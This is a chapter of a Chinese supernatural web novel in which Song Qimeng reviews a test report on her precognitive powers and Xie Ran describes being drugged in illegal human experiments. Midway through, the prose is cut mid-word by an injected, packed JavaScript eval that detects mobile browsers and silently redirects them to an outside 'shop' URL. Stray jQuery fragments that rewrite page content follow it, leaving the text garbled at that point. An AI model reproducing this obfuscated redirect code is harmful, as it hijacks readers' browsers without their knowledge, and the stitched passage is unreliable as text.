30.第 30 章

作品:《被迫与鬼王签订契约后

    宋绮梦睡了一觉,谢然端着水站在她床边,看她醒来后喝了水,才把手里的检测报告拿给了她。


    “喏,这是你一直关心的超能力发展现况。”


    宋绮梦坐直身体,好奇地接了过来。


    大概有几十页A4纸,从第一页醒目的标题到第二第三页的目录,再到后面的正文,全部是规整打印好的字体。


    “谢然。”她喃喃自语:“你这是写论文啊你?”


    目录中的综述和其他案例研究与她无关,她翻到后面,仔细看了关于自己的研究结果。


    受试者:宋绮梦


    超能力①:预测/第六感


    维度:梦境/现实环境/人/鬼


    总体评估如下:


    梦境(指通过预知梦感知未来的能力):四星。


    现实环境(指通过现实环境感知未来/过去的能力):三星


    人(指面对不同的人,推测其心中意图/对话真假等能力):三星


    鬼(指感知鬼怪存在,推测其真实意图/对话真假/危险程度等能力):四星


    右下角有一行小字注释:普通人的第六感能力均在一星左右,有天赋异禀者可达两星。


    “你刚来这里的时候,这些能力还都是两星状态。”谢然见她看得入神,不禁补充道:“已经有了很大进步了。”


    “这是怎么测出来的?”宋绮梦好奇。


    怎么感觉玄而又玄的,像是骗子用AI写的。


    “很简单,只需要大概1ml的血液就可以检测了。”谢然解释:“安晓生在的医院里有这种设备。”


    宋绮梦又带着好奇去看下一页的详细分析。


    梦境维度:受试者拥有超强的梦境感知能力,有80%的概率预测到危机或心中想要的问题答案。具体案例:寻找井欣/预知夏轩危险。


    预知夏轩危险?宋绮梦抬起头来看了一眼谢然,见他一副若无其事的表情,不禁问:“谢然,你当时真的对……”


    话到嘴边又收了回去。


    谢然:“嗯?什么?”


    宋绮梦心想,罢了罢了,如果他真的对夏轩师兄有伤害的想法,还是不要贸然问比较好。


    “没事。”她低着头继续看下一段。


    现实环境维度:受试者有一定的现实环境感知能力,但经验较浅,需要开发,当前仅能识别部分极其危险的环境。具体案例:汽车爆炸。


    人的维度:受试者有一定的人心识别能力,但当前受限于心情控制较为明显,具体表现为,慌乱/压抑/不信任等情况下,预测能力大打折扣。况且,受试者对熟悉之人的预测能力显著高于陌生人。


    宋绮梦又看了一眼谢然。


    怪不得他要把她禁锢在身边,刻意培养熟悉度,原来是这个原因。


    鬼的维度:受试者具有十分灵敏的鬼魂感知能力,能较为清晰地辨别鬼魂危险程度,识别鬼魂真实想法,以上是控鬼必要的条件。


    等等,控鬼?


    这不是谢然的超能力吗,和她也能扯上关系?


    这还不算什么,翻到下一页,标题赫然写着:


    超能力②:控鬼


    ……


    宋绮梦才要往下看,谢然已经伸过手臂,把报告抽了出去。


    “好了。”他轻声说道:“后面的部分,过段时间再看吧。”


    “你现在只需要知道,你也有开发控鬼能力的潜质就好了。”谢然眉眼之间笑吟吟的:“怎么样,开心吗?”


    开心?宋绮梦只感觉到了茫然。


    这么多年,从来没有人和她说过这些。


    她自从出生之后,一直是一个乖巧普通的女孩,日复一日地上学、毕业、找工作。


    如今她和这些虚无缥缈的事掺和起来,太过突然,反而觉得十分不真实。


    “谢然。”她叫住才要离开的谢然:“这是真的吗?你没有骗我吧?”


    “那我以后可以和你一样,拥有鬼魂军团吗?”


    “什么鬼魂军团。”谢然无奈:“你还是先把你的预测能力培养到顶级再说吧。”


    “谢然。”她又叫住他:“你到底想让我预知什么事啊?”


    谢然扭过头来,对她看了许久,眼神里淡然无波,可在她看来,却像是积累了太多情绪,就像调色盘里的色彩混在一起,反而成了最复杂难辨的白。


    看得出来,他还是没有完全下定决心,但氛围都到了这一步,似乎也收不回去了。


    “很久之前,我在金大读研。”谢然飘忽的语气更像是在讲一个年代久远的童话故事。


    “有一个很神秘的生物研究项目,据说是和琴长生物研究所合作的项目,与人体基因改造有关。项目在陆教授手里负责,但听说一直缺少受试者。”他顿了顿,像是想起了什么:“有一天,他把我叫到办公室,说有个小事请我帮忙。”


    “他要你当受试者?”宋绮梦猜到了几分。


    “也不算是。”谢然解释道:“他知道我家境不好,提出了一笔不菲的费用,请我暂时协助。”


    “那天,我提供了一管血,就得到了一万块。”


    “自此之后,我就像逐渐陷入泥潭一样,无法脱身,第二管血、第三管……”谢然语气里满是遗憾和后悔:“就这样开始了。”


    到后来,他的学业因为实验一度荒废,到了实验的后续阶段,他甚至只能全天住在生物研究所内,以备不时之需。


    后来的事,他自己也记得不是很清楚,因为很多相关实验并没有给他签署知情同意书。


    “我只知道,琴长生物研究所出了事,和我同一批次的受试者都出现了不同程度的身体损坏。”


    “就像受了核污染一样,接受了药剂注射的人都出现了不同程度的皮肤脱落和骨骼坏死。”即便过了很久,当时的情形与他而言仍是历历在目。


    他端起水杯,迫不及待地喝了一口,像是要把压抑许久的情绪再度按压回去。


    “只有很少人侥幸逃脱,没有发生异变,我就是其中之一。”他轻笑一声,神色极尽嘲讽:“事情最后还是被压了下来,我们剩余的人都被封口,很长一段时间都不能出现在大众视线里。”


    “好在有陆教授的帮助,我还是顺利毕业了。”他垂下眼皮:“只不过,后面没能再读博了。”


    “当时,我找的工作也是在研究所里,是金大联合开发的研究所。中间我也不知道发生了什么,可能是金大研究所和琴长研究所的相关人员有认识,私下里决定重新启动这个项目。”


    “但这一次,他们什么都没有和我说,我甚至都不知道自己是怎么服下那些实验药剂的。”


    起初,谢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331481|197144||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    然只是发现身体僵硬,去医院几次之后,并没有查到什么病症,反而是一些血值异于常人,可专家级别的医生都没能做出解释。


    随后,就是一系列的身体变化。


    他偶尔会头晕、嗜睡、胃口大开,偶尔又颓丧、整夜难眠。


    实在难以支撑,他只好频繁请假,此举引起了上面人的注意。


    “他们找到我家里来,试图说服我去继续做实验。”谢然声音越发低沉:“可我知道这是违法的。在他们几次三番到我家威逼利诱,我只好躲了出去。”


    “那时候,我精神状态已经很差了,每天晚上都要莫名其妙地经历灵魂出窍的感受,甚至有一次,我站在床边看着我自己熟睡,看了一晚上。”


    宋绮梦不用多想,就知道这种零星的折磨一定很难忍受,她不知道如何安慰他,只是沉默。


    谢然也沉寂下来,之后的话好像变得无比沉重,深深沉淀在心底,再怎么都说不出来了。


    一阵敲门声打断了两人的僵持,谢然回过身来,前去开门。


    安晓生拎着医药箱进来:“我来给伤员换药了。”


    “安叔。”宋绮梦勉强笑了笑。


    “恢复的怎么样?”安晓生语气轻快。


    “正好你来了,可以帮她检查一下。”谢然转身离去:“我有点事。”


    安晓生手脚麻利,先把宋绮梦腿上的绷带解开,看了看伤口:“嗯,没有感染。”


    回头看了一眼谢然离去的方向,他悄声问:“你们刚才聊了什么,怎么氛围怪怪的?”


    “他还是要赶你走吗?”


    宋绮梦一时语塞:“你也知道了?”


    安晓生拿出通讯器,一阵清晰的女声传来,带着十足的委屈:“你明知道我现在被组织开除了,正是无依无靠的时候,一定要现在解雇我吗?”


    宋绮梦听得无奈:“他这人怎么这样,还把我的话录音发给你。”


    安晓生嘿嘿笑了笑,继续说道:“他这个人嘴硬心软,如果他回来之后没再提起这茬,就是不会赶你走了。”


    宋绮梦看着安晓生替她消毒上药,情不自禁地问道:“安叔,你和谢然,认识很久了吗?”


    “不算久吧。”安晓生手上忙活着,头也没抬:“也就二十多年。”


    “怎么了吗?”他看宋绮梦一副欲言又止的神情,不禁问道。


    “没什么。”她顺着他的指示,又翻身趴在床上,由他检查脊背上的伤口。


    “安叔。”沉默了半晌,她终于还是忍不住问:“你对谢然的事,知道的多吗?”


    “刚刚他在和我说当年做人体实验的事,说了一半,情绪不太对,说不下去了。”她背对着安晓生,察觉到他手上的动作也慢了下来。


    “他被骗着做完实验之后,又发生了什么事?”


    安晓生动作继续起来,酒精棉按在她背上的伤口处,疼得她弓起背,发出“嘶”的一声。


    “安叔,我不是想要窥探秘密,我只是觉得详细了解之前的事能帮我们快速进行下一步。”她忍着疼,继续说:“直到现在,我也只是提升了一部分预测能力,能帮到他的部分很少。”


    “和他相处了这么久,我觉得他好像不是我以前了解的那种人。”她的声音愈发镇定起来:“我可以问问当时发生了什么吗,安叔?”